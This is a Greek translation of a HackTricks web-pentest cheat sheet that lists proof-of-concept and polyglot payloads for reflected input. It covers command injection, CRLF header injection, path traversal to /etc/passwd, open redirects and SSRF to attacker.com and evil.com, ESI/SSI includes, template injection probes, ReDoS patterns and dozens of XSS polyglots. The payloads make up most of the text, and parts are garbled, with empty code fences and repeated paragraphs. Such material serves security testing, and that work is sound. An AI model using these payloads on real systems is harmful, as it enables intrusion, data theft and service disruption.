24 KiB
Τεχνικές αντανακλαστικής - Οδηγός αναφοράς PoCs και Polygloths
Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
- Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF, ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.
Ο στόχος αυτών των PoCs και Polygloths είναι να δώσουν στον ελεγκτή μια γρήγορη περίληψη των ευπαθειών που μπορεί να εκμεταλλευτεί εάν η είσοδός του αντανακλάται κάπως στην απόκριση.
{% hint style="warning" %} Αυτός ο οδηγός αναφοράς δεν προτείνει μια συνεκτική λίστα δοκιμών για κάθε ευπάθεια, απλώς μερικές βασικές. Εάν ψάχνετε για πιο συνεκτικές δοκιμές, αποκτήστε πρόσβαση σε κάθε προτεινόμενη ευπάθεια. {% endhint %}
{% hint style="danger" %} Δεν θα βρείτε εδώ ευπάθειες που εξαρτώνται από τον τύπο περιεχομένου όπως XXE, καθώς συνήθως θα τις δοκιμάσετε μόνοι σας εάν βρείτε μια αίτηση που αποστέλλει δεδομένα xml. Δεν θα βρείτε επίσης ευπάθειες βάσης δεδομένων εδώ, καθώς ακόμα και αν αντανακλάται κάποιο περιεχόμενο, εξαρτάται σε μεγάλο βαθμό από την τεχνολογία και τη δομή της βάσης δεδομένων πίσω από τον ιστότοπο. {% endhint %}
Λίστα Polygloths
{{7*7}}[7*7]
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
%0d%0aLocation:%20http://attacker.com
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
/etc/passwd
../../../../../../etc/hosts
..\..\..\..\..\..\etc/hosts
/etc/hostname
../../../../../../etc/hosts
C:/windows/system32/drivers/etc/hosts
../../../../../../windows/system32/drivers/etc/hosts
..\..\..\..\..\..\windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php
www.whitelisted.com
www.whitelisted.com.evil.com
https://google.com
//google.com
javascript:alert(1)
(\\w*)+$
([a-zA-Z]+)*$
((a+)+)+$
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
" onclick=alert() a="
'"><img src=x onerror=alert(1) />
javascript:alert()
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
Ενσωμάτωση Προτύπου Πλευράς Πελάτη
Βασικές Δοκιμές
{{7*7}}
[7*7]
Πολύγλωσσοι
Οι πολύγλωσσοι είναι αρχεία που μπορούν να εκτελεστούν από πολλές γλώσσες προγραμματισμού. Αυτό σημαίνει ότι το ίδιο αρχείο μπορεί να εκτελεστεί από διάφορες γλώσσες προγραμματισμού, χωρίς να απαιτείται μεταγλώττιση ή αλλαγή του πηγαίου κώδικα. Αυτό μπορεί να είναι χρήσιμο για την εκμετάλλευση ευπαθειών σε διάφορες πλατφόρμες ή για την απόκρυψη κακόβουλου κώδικα. Οι πολύγλωσσοι μπορούν να χρησιμοποιηθούν σε περιβάλλοντα ελέγχου ασφαλείας για να εκτελέσουν επιθέσεις ή να εξερευνήσουν τις ευπάθειες ενός συστήματος.
{{7*7}}[7*7]
Εντολή Εισαγωγής
Βασικές Δοκιμές
;ls
||ls;
|ls;
&&ls;
&ls;
%0Als
`ls`
$(ls)
Πολύγλωσσοι
Οι πολύγλωσσοι είναι αρχεία που μπορούν να εκτελεστούν από πολλές γλώσσες προγραμματισμού. Αυτό σημαίνει ότι το ίδιο αρχείο μπορεί να εκτελεστεί από διάφορες γλώσσες προγραμματισμού, χωρίς να απαιτείται μεταγλώττιση ή αλλαγή του πηγαίου κώδικα. Αυτό μπορεί να είναι χρήσιμο για την εκμετάλλευση ευπαθειών σε διάφορες πλατφόρμες ή για την απόκρυψη κακόβουλου κώδικα. Οι πολύγλωσσοι μπορούν να χρησιμοποιηθούν σε περιβάλλοντα ελέγχου ασφαλείας για να εκτελέσουν επιθέσεις ή να εξερευνήσουν τις ευπάθειες ενός συστήματος.
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
CRLF
Βασικές Δοκιμές
%0d%0aLocation:%20http://attacker.com
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
Κρεμασμένοι Σήμανση
Βασικές Δοκιμές
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
Ενσωμάτωση Αρχείου/Διαδρομής Πλοήγησης
Βασικές Δοκιμές
/etc/passwd
../../../../../../etc/hosts
..\..\..\..\..\..\etc/hosts
/etc/hostname
../../../../../../etc/hosts
C:/windows/system32/drivers/etc/hosts
../../../../../../windows/system32/drivers/etc/hosts
..\..\..\..\..\..\windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php
Ανακατεύθυνση ανοιχτού κώδικα / Παραπλανητικό αίτημα εξυπηρετητή πλευράς
Βασικές Δοκιμές
www.whitelisted.com
www.whitelisted.com.evil.com
https://google.com
//google.com
javascript:alert(1)
ReDoS
Βασικές Δοκιμές
<details>
<summary>Περιγραφή</summary>
Οι βασικές δοκιμές για τον έλεγχο της ευπάθειας του ReDoS περιλαμβάνουν τη χρήση απλών και σύνθετων regular expressions που μπορούν να προκαλέσουν καθυστέρηση ή κολλήματα στην επεξεργασία των δεδομένων.
</details>
#### Απλές Εκφράσεις
```html
<details>
<summary>Περιγραφή</summary>
Οι απλές εκφράσεις είναι οι πιο βασικές και απλές μορφές regular expressions. Μπορούν να προκαλέσουν καθυστέρηση ή κολλήματα στην επεξεργασία των δεδομένων, ειδικά όταν χρησιμοποιούνται μεγάλα και πολύπλοκα δεδομένα εισόδου.
</details>
#### Σύνθετες Εκφράσεις
```html
<details>
<summary>Περιγραφή</summary>
Οι σύνθετες εκφράσεις είναι πιο πολύπλοκες regular expressions που περιλαμβάνουν πολλαπλά μοτίβα και αναδρομικές κλήσεις. Αυτές οι εκφράσεις μπορούν να προκαλέσουν σοβαρά προβλήματα απόδοσης και να καταλήξουν σε κολλήματα της εφαρμογής.
</details>
(\\w*)+$
([a-zA-Z]+)*$
((a+)+)+$
Ενσωμάτωση Εξυπηρετητή/Ενσωμάτωση Πλευράς Πελάτη
Βασικές Δοκιμές
<!--#echo var="DATE_LOCAL" -->
<!--#exec cmd="ls" -->
<esi:include src=http://attacker.com/>
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
Πολύγλωσσοι
Οι πολύγλωσσοι είναι αρχεία που μπορούν να εκτελεστούν από πολλές γλώσσες προγραμματισμού. Αυτό σημαίνει ότι το ίδιο αρχείο μπορεί να εκτελεστεί από διάφορες γλώσσες προγραμματισμού, χωρίς να απαιτείται μεταγλώττιση ή αλλαγή του πηγαίου κώδικα. Αυτό μπορεί να είναι χρήσιμο για την εκμετάλλευση ευπαθειών σε διάφορες πλατφόρμες ή για την απόκρυψη κακόβουλου κώδικα. Οι πολύγλωσσοι μπορούν να χρησιμοποιηθούν σε περιβάλλοντα ελέγχου ασφαλείας για να εκτελέσουν επιθέσεις ή να εξερευνήσουν τις ευπάθειες ενός συστήματος.
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
Παραποίηση Αιτήσεων Εξυπηρετητή (Server Side Request Forgery)
Οι ίδιοι έλεγχοι που χρησιμοποιούνται για την Ανακατεύθυνση Ανοικτής Σύνδεσης μπορούν να χρησιμοποιηθούν εδώ.
Παραβίαση Προτύπου Εξυπηρετητή (Server Side Template Injection)
Βασικοί Έλεγχοι
${{<%[%'"}}%\
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
Πολύγλωσσοι
Οι πολύγλωσσοι είναι αρχεία που μπορούν να εκτελεστούν από πολλές γλώσσες προγραμματισμού. Αυτό σημαίνει ότι το ίδιο αρχείο μπορεί να εκτελεστεί από διάφορες γλώσσες προγραμματισμού, χωρίς να απαιτείται μεταγλώττιση ή αλλαγή του πηγαίου κώδικα. Αυτό μπορεί να είναι χρήσιμο για την εκμετάλλευση ευπαθειών σε διάφορες πλατφόρμες ή για την απόκρυψη κακόβουλου κώδικα. Οι πολύγλωσσοι μπορούν να χρησιμοποιηθούν σε περιβάλλοντα ελέγχου ασφαλείας για να εκτελέσουν επιθέσεις ή να εξερευνήσουν τις ευπάθειες ενός συστήματος.
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
Εισαγωγή XSLT στην πλευρά του διακομιστή
Βασικές Δοκιμές
<xsl:value-of select="system-property('xsl:version')" />
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
Πολύγλωσσοι
Οι πολύγλωσσοι είναι αρχεία που μπορούν να εκτελεστούν από πολλές γλώσσες προγραμματισμού. Αυτό σημαίνει ότι το ίδιο αρχείο μπορεί να εκτελεστεί από διάφορες γλώσσες προγραμματισμού, χωρίς να απαιτείται μεταγλώττιση ή αλλαγή του πηγαίου κώδικα. Αυτό μπορεί να είναι χρήσιμο για την εκμετάλλευση ευπαθειών σε διάφορες πλατφόρμες ή για την απόκρυψη της πραγματικής φύσης του αρχείου από τους ανιχνευτές κακόβουλου λογισμικού. Οι πολύγλωσσοι μπορούν να χρησιμοποιηθούν σε πολλά σενάρια επιτέθεσης, όπως εκμετάλλευση ευπαθειών σε ιστοσελίδες ή εφαρμογές.
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
XSS
Βασικές Δοκιμές
Αναπαραγωγή (Reproduction)
Αυτή η δοκιμή ελέγχει αν ο κώδικας που εισάγετε σε ένα πεδίο εισόδου αναπαράγεται ακριβώς όπως τον εισάγατε. Αν ο κώδικας αναπαραχθεί όπως τον εισάγατε, τότε υπάρχει πιθανότητα για εκτέλεση κώδικα XSS.
<script>alert('XSS')</script>
Ενεργοποίηση (Activation)
Αυτή η δοκιμή ελέγχει αν ο κώδικας που εισάγετε σε ένα πεδίο εισόδου εκτελείται κανονικά. Αν ο κώδικας εκτελείται, τότε υπάρχει πιθανότητα για εκτέλεση κώδικα XSS.
<img src="x" onerror="alert('XSS')">
Ενσωμάτωση (Injection)
Αυτή η δοκιμή ελέγχει αν ο κώδικας που εισάγετε σε ένα πεδίο εισόδου ενσωματώνεται σε μια ετικέτα HTML και εκτελείται. Αν ο κώδικας ενσωματωθεί και εκτελεστεί, τότε υπάρχει πιθανότητα για εκτέλεση κώδικα XSS.
<iframe srcdoc="<script>alert('XSS')</script>"></iframe>
Ενσωμάτωση (Injection) με Εκτέλεση Κώδικα
Αυτή η δοκιμή ελέγχει αν ο κώδικας που εισάγετε σε ένα πεδίο εισόδου ενσωματώνεται σε μια ετικέτα HTML και εκτελείται ως κώδικας. Αν ο κώδικας ενσωματωθεί και εκτελεστεί ως κώδικας, τότε υπάρχει πιθανότητα για εκτέλεση κώδικα XSS.
<svg onload="javascript:alert('XSS')"></svg>
Ενσωμάτωση (Injection) με Εκτέλεση Κώδικα (Πολυγλωσσικό)
Αυτή η δοκιμή ελέγχει αν ο κώδικας που εισάγετε σε ένα πεδίο εισόδου ενσωματώνεται σε μια ετικέτα HTML και εκτελείται ως κώδικας, χρησιμοποιώντας πολυγλωσσικό πολυγλωσσικό κώδικα. Αν ο κώδικας ενσωματωθεί και εκτελεστεί ως κώδικας, τότε υπάρχει πιθανότητα για εκτέλεση κώδικα XSS.
<script>alert('XSS')</script>
" onclick=alert() a="
'"><img src=x onerror=alert(1) />
javascript:alert()
Πολύγλωσσοι
Οι πολύγλωσσοι είναι αρχεία που μπορούν να εκτελεστούν από πολλές γλώσσες προγραμματισμού. Αυτό σημαίνει ότι το ίδιο αρχείο μπορεί να εκτελεστεί από διάφορες γλώσσες προγραμματισμού, χωρίς να απαιτείται μεταγλώττιση ή αλλαγή του πηγαίου κώδικα. Αυτό μπορεί να είναι χρήσιμο για την εκμετάλλευση ευπαθειών σε διάφορες πλατφόρμες ή για την απόκρυψη κακόβουλου κώδικα. Οι πολύγλωσσοι μπορούν να χρησιμοποιηθούν σε περιβάλλοντα ελέγχου ασφαλείας για να εκτελέσουν επιθέσεις ή να εξερευνήσουν τις ευπάθειες ενός συστήματος.
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a
javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/
javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*
javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//
javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*
--></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*
/</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*
javascript://--></title></style></textarea></script><svg "//' onclick=alert()//
/</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*
-->'"/></sCript><svG x=">" onload=(co\u006efirm)``>
<svg%0Ao%00nload=%09((pro\u006dpt))()//
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//>
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//>
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>`
%0ajavascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert(test)//'">`
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+document.location=`//localhost/mH`//'>
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=document.location=`//localhost/mH`//>
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
- Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.